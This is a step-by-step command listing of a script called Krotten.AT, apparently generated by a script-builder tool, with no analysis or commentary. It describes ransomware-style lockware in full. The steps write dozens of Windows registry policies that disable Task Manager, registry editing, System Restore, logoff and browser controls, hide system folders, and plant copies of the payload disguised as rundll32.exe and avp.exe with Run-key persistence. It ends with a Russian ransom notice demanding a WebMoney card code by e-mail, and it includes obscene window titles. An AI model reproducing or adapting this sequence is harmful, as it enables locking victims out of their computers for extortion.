Script file name: Krotten.AT.s0m

# | Command | First parameter | Second parameter
1 |  | N/A | N/A
2 |  | N/A | N/A
3 | Create registry key | HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced | N/A
4 | Open registry key | HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced | N/A
5 | Write binary data to registry | Start_ShowRun | Binary data [8 byte(s)] 0400000000000000
6 | Create registry key | HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer | N/A
7 | Open registry key | HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer | N/A
8 | Write binary data to registry | NoStartMenuMFUprogramsList | Binary data [8 byte(s)] 0400000001000000
9 | Write binary data to registry | NoStartMenuPinnedList | Binary data [8 byte(s)] 0400000001000000
10 | Write binary data to registry | NoStartMenuSubFolders | Binary data [8 byte(s)] 0400000001000000
11 | Write binary data to registry | NoCommonGroups | Binary data [8 byte(s)] 0400000001000000
12 | Write binary data to registry | NoSMMyPictures | Binary data [8 byte(s)] 0400000001000000
13 | Write binary data to registry | NoStartMenuMyMusic | Binary data [8 byte(s)] 0400000001000000
14 | Write binary data to registry | NoSMMyDocs | Binary data [8 byte(s)] 0400000001000000
15 | Write binary data to registry | NoDesktop | Binary data [8 byte(s)] 0400000001000000
16 | Write binary data to registry | NoActiveDesktop | Binary data [8 byte(s)] 0400000001000000
17 | Write binary data to registry | NoViewOnDrive | Binary data [8 byte(s)] 0400000001000000
18 | Create registry key | HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main | N/A
19 | Open registry key | HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main | N/A
20 | Write string value to registry | Start Page | http://poetry.rotten.com/failed-mission/
21 | Open registry key | HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main | N/A
22 | Write string value to registry | Window title | :::::::::::::::::: Я ЕБУСЬ В РОТ И В ЖОПУ ::::::::::::::::::
23 | Write binary data to registry | NoControlPanel | Binary data [8 byte(s)] 0400000001000000
24 | Write numeric value to registry | NoDrives | 1044
25 | Write binary data to registry | NoRun | Binary data [8 byte(s)] 0400000001000000
26 | Write binary data to registry | NoFind | Binary data [8 byte(s)] 0400000001000000
27 | Write binary data to registry | NoFavoritesMenu | Binary data [8 byte(s)] 0400000001000000
28 | Write binary data to registry | NoRecentDocsMenu | Binary data [8 byte(s)] 0400000001000000
29 | Write binary data to registry | NoLogOff | Binary data [8 byte(s)] 0400000001000000
30 | Write binary data to registry | NoClose | Binary data [8 byte(s)] 0400000001000000
31 | Write binary data to registry | NoSaveSettings | Binary data [8 byte(s)] 0400000001000000
32 | Write binary data to registry | NoUserNameInStartMenu | Binary data [8 byte(s)] 0400000001000000
33 | Write binary data to registry | NoToolbarCustomize | Binary data [8 byte(s)] 0400000001000000
34 | Write binary data to registry | NoThemesTab | Binary data [8 byte(s)] 0400000001000000
35 | Write binary data to registry | NoSMHelp | Binary data [8 byte(s)] 0400000001000000
36 | Write binary data to registry | NoPrinterTabs | Binary data [8 byte(s)] 0400000001000000
37 | Write binary data to registry | NoPrinters | Binary data [8 byte(s)] 0400000001000000
38 | Write binary data to registry | NoNetHood | Binary data [8 byte(s)] 0400000001000000
39 | Write binary data to registry | NoManageMyComputerVerb | Binary data [8 byte(s)] 0400000001000000
40 | Create registry key | HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System | N/A
41 | Open registry key | HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System | N/A
42 | Write binary data to registry | DisableTaskMgr | Binary data [8 byte(s)] 0400000001000000
43 | Create registry key | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System | N/A
44 | Open registry key | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System | N/A
45 | Write binary data to registry | DisableTaskMgr | Binary data [8 byte(s)] 0400000001000000
46 | Create registry key | HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System | N/A
47 | Open registry key | HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System | N/A
48 | Write binary data to registry | DisableRegistryTools | Binary data [8 byte(s)] 0400000001000000
49 | Create registry key | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System | N/A
50 | Open registry key | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System | N/A
51 | Write binary data to registry | NoDispCPL | Binary data [8 byte(s)] 0400000001000000
52 | Create registry key | HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer | N/A
53 | Open registry key | HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer | N/A
54 | Write binary data to registry | NoViewContextMenu | Binary data [8 byte(s)] 0400000001000000
55 | Create registry key | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\DelegateFolders\{59031a47-3f72-44a7-89c5-5595fe6b30ee} | N/A
56 | Open registry key | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\DelegateFolders\{59031a47-3f72-44a7-89c5-5595fe6b30ee} | N/A
57 | Delete registry key | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\DelegateFolders\{59031a47-3f72-44a7-89c5-5595fe6b30ee} | N/A
58 | Create registry key | HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters | N/A
59 | Open registry key | HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters | N/A
60 | Write binary data to registry | DiskSpaceThreshold | Binary data [8 byte(s)] 0400000099000000
61 | Create registry key | HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Internet Explorer\Restrictions | N/A
62 | Open registry key | HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Restrictions | N/A
63 | Write binary data to registry | NoBrowserClose | Binary data [8 byte(s)] 0400000001000000
64 | Write binary data to registry | NoNavButtons | Binary data [8 byte(s)] 0400000001000000
65 | Write binary data to registry | NoSelectDownloadDir | Binary data [8 byte(s)] 0400000001000000
66 | Write binary data to registry | NoBrowserContextMenu | Binary data [8 byte(s)] 0400000001000000
67 | Write binary data to registry | NoBrowserOptions | Binary data [8 byte(s)] 0400000001000000
68 | Create registry key | HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Restrictions | N/A
69 | Open registry key | HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Restrictions | N/A
70 | Write binary data to registry | NoBrowserClose | Binary data [8 byte(s)] 0400000001000000
71 | Write binary data to registry | NoNavButtons | Binary data [8 byte(s)] 0400000001000000
72 | Write binary data to registry | NoSelectDownloadDir | Binary data [8 byte(s)] 0400000001000000
73 | Write binary data to registry | NoBrowserContextMenu | Binary data [8 byte(s)] 0400000001000000
74 | Write binary data to registry | NoBrowserOptions | Binary data [8 byte(s)] 0400000001000000
75 | Create registry key | HKEY_CURRENT_USER\Control Panel\Desktop | N/A
76 | Open registry key | HKEY_CURRENT_USER\Control Panel\Desktop | N/A
77 | Write string value to registry | WallpaperOriginX | 210
78 | Write string value to registry | WallpaperOriginY | 187
79 | Create registry key | HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main | N/A
80 | Open registry key | HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main | N/A
81 | Write string value to registry | Start Page | http://poetry.rotten.com/failed-mission/
82 | Write string value to registry | Window title | :::::::::::::::::: Я ЕБУСЬ В РОТ И В ЖОПУ ::::::::::::::::::
83 | Create registry key | HKEY_CURRENT_USER\Control Panel\Desktop | N/A
84 | Open registry key | HKEY_CURRENT_USER\Control Panel\Desktop | N/A
85 | Write string value to registry | MenuShowDelay | 9999
86 | Create registry key | HKEY_CURRENT_USER\Control Panel\International | N/A
87 | Open registry key | HKEY_CURRENT_USER\Control Panel\International | N/A
88 | Write string value to registry | sTimeFormat | ГНОЙ
89 | Create registry key | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon | N/A
90 | Open registry key | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon | N/A
91 | Write string value to registry | LegalNoticeCaption | DANGER
92 | Write string value to registry | LegalNoticeText | Если ты хочешь восстановить нормальную работу своего компьютера не потеряв ВСЮ информацию! И с экономив деньги, пришли мне на e-mail aston@chip.ms номер и код авторизации карты пополнения счета WebMoney номиналом в 10 wmz. В ответ в течение двенадцати часов на свой e-mail ты получишь фаил для удаления этой программы.
93 | Create registry key | HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon | N/A
94 | Open registry key | HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon | N/A
95 | Write string value to registry | LegalNoticeCaption | DANGER
96 | Write string value to registry | LegalNoticeText | Если ты хочешь восстановить нормальную работу своего компьютера не потеряв ВСЮ информацию! И с экономив деньги, пришли мне на e-mail aston@chip.ms номер и код авторизации карты пополнения счета WebMoney номиналом в 10 wmz. В ответ в течение двенадцати часов на свой e-mail ты получишь фаил для удаления этой программы.
97 | Create registry key | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore | N/A
98 | Open registry key | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore | N/A
99 | Write binary data to registry | DisableSR | Binary data [8 byte(s)] 0400000001000000
100 | Write binary data to registry | RPLifeInterval | Binary data [8 byte(s)] 0400000001000000
101 | Create registry key | HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum | N/A
102 | Open registry key | HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum | N/A
103 | Write binary data to registry | {20D04FE0-3AEA-1069-A2D8-08002B30309D} | Binary data [8 byte(s)] 0400000001000000
104 | Write binary data to registry | {450D8FBA-AD25-11D0-98A8-0800361B1103} | Binary data [8 byte(s)] 0400000001000000
105 | Create registry key | HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall | N/A
106 | Open registry key | HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall | N/A
107 | Write binary data to registry | NoAddRemovePrograms | Binary data [8 byte(s)] 0400000001000000
108 | Create registry key | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer | N/A
109 | Open registry key | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer | N/A
110 | Write binary data to registry | NoViewContextMenu | Binary data [8 byte(s)] 0400000001000000
111 | Create registry key | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced | N/A
112 | Open registry key | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced | N/A
113 | Write binary data to registry | Start_ShowRun | Binary data [8 byte(s)] 0400000000000000
114 | Create registry key | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer | N/A
115 | Open registry key | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer | N/A
116 | Write binary data to registry | NoStartMenuPinnedList | Binary data [8 byte(s)] 0400000001000000
117 | Write binary data to registry | NoStartMenuMFUprogramsList | Binary data [8 byte(s)] 0400000001000000
118 | Write binary data to registry | NoStartMenuSubFolders | Binary data [8 byte(s)] 0400000001000000
119 | Write binary data to registry | NoCommonGroups | Binary data [8 byte(s)] 0400000001000000
120 | Write binary data to registry | NoSMMyPictures | Binary data [8 byte(s)] 0400000001000000
121 | Write binary data to registry | NoStartMenuMyMusic | Binary data [8 byte(s)] 0400000001000000
122 | Write binary data to registry | NoSMMyDocs | Binary data [8 byte(s)] 0400000001000000
123 | Write binary data to registry | NoDesktop | Binary data [8 byte(s)] 0400000001000000
124 | Write binary data to registry | NoActiveDesktop | Binary data [8 byte(s)] 0400000001000000
125 | Write binary data to registry | NoViewOnDrive | Binary data [8 byte(s)] 0400000001000000
126 | Write binary data to registry | NoControlPanel | Binary data [8 byte(s)] 0400000001000000
127 | Write numeric value to registry | NoDrives | 1044
128 | Write binary data to registry | NoRun | Binary data [8 byte(s)] 0400000001000000
129 | Write binary data to registry | NoFind | Binary data [8 byte(s)] 0400000001000000
130 | Write binary data to registry | NoFavoritesMenu | Binary data [8 byte(s)] 0400000001000000
131 | Write binary data to registry | NoRecentDocsMenu | Binary data [8 byte(s)] 0400000001000000
132 | Write binary data to registry | NoLogOff | Binary data [8 byte(s)] 0400000001000000
133 | Write binary data to registry | NoClose | Binary data [8 byte(s)] 0400000001000000
134 | Write binary data to registry | NoSaveSettings | Binary data [8 byte(s)] 0400000001000000
135 | Write binary data to registry | NoUserNameInStartMenu | Binary data [8 byte(s)] 0400000001000000
136 | Write binary data to registry | NoToolbarCustomize | Binary data [8 byte(s)] 0400000001000000
137 | Write binary data to registry | NoThemesTab | Binary data [8 byte(s)] 0400000001000000
138 | Write binary data to registry | NoSMHelp | Binary data [8 byte(s)] 0400000001000000
139 | Write binary data to registry | NoPrinterTabs | Binary data [8 byte(s)] 0400000001000000
140 | Write binary data to registry | NoPrinters | Binary data [8 byte(s)] 0400000001000000
141 | Write binary data to registry | NoNetHood | Binary data [8 byte(s)] 0400000001000000
142 | Write binary data to registry | NoManageMyComputerVerb | Binary data [8 byte(s)] 0400000001000000
143 | Create registry key | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum | N/A
144 | Open registry key | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum | N/A
145 | Write binary data to registry | {20D04FE0-3AEA-1069-A2D8-08002B30309D} | Binary data [8 byte(s)] 0400000001000000
146 | Create registry key | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall | N/A
147 | Open registry key | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall | N/A
148 | Write binary data to registry | NoAddRemovePrograms | Binary data [8 byte(s)] 0400000001000000
149 | Create registry key | HKEY_USERS\S-1-5-21-1229272821-179605362-682003330-1003\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp | N/A
150 | Open registry key | HKEY_USERS\S-1-5-21-1229272821-179605362-682003330-1003\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp | N/A
151 | Write binary data to registry | Disabled | Binary data [8 byte(s)] 0400000001000000
152 | Write binary data to registry | NoRealMode | Binary data [8 byte(s)] 0400000001000000
153 | Create registry key | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System | N/A
154 | Open registry key | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System | N/A
155 | Write binary data to registry | DisableRegistryTools | Binary data [8 byte(s)] 0400000001000000
156 | Change file attributes | C:\Program Files | [+]..SH [-]....
157 | Change file attributes | C:\WINDOWS | [+]..SH [-]....
158 | Create directory | C:\Windows 91 | N/A
159 | Create directory | C:\WINDOWS\Web | N/A
160 | Change file attributes | C:\WINDOWS\Web | [+]..SH [-]....
161 | Copy file | Photo.exe | C:\WINDOWS\Web\rundll32.exe
162 | Change file attributes | C:\WINDOWS\Web\rundll32.exe | [+]..SH [-]....
163 | Create directory | C:\WINDOWS\Cursors | N/A
164 | Copy file | Photo.exe | C:\WINDOWS\Cursors\avp.exe
165 | Change file attributes | C:\WINDOWS\Cursors\avp.exe | [+]..SH [-]....
166 | Create registry key | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run | N/A
167 | Open registry key | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run | N/A
168 | Write string value to registry | svchost | C:\WINDOWS\Web\rundll32.exe
169 | Write string value to registry | AVPCC | C:\WINDOWS\Cursors\avp.exe
170 | Delete registry key | HKEY_CLASSES_ROOT\regfile\shell\open\command | N/A
171 | Create registry key | HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System | N/A
172 | Open registry key | HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System | N/A
173 | Write binary data to registry | NoDispCPL | Binary data [8 byte(s)] 0400000001000000
174 | Show MessageBox | Перезагрузите компьютер! И почитайте, что необходимо предпринять. E-mail разработчиков программы aston@chip.ms | #40040
175 | Set new time | 20 hr 18 min 12.10.2020 | N/A
176 | Terminate script if file closed | N/A | N/A
177 | Terminate script | N/A | N/A

Description:
Script header:Все готово!
Program:
Protection:
Cracker:
Group:
Released:

Parameters:
"Invisible" (for other scripts) mode
Don't show running script window
Set script start directory as current

Generated by InqSoft Sign 0f Misery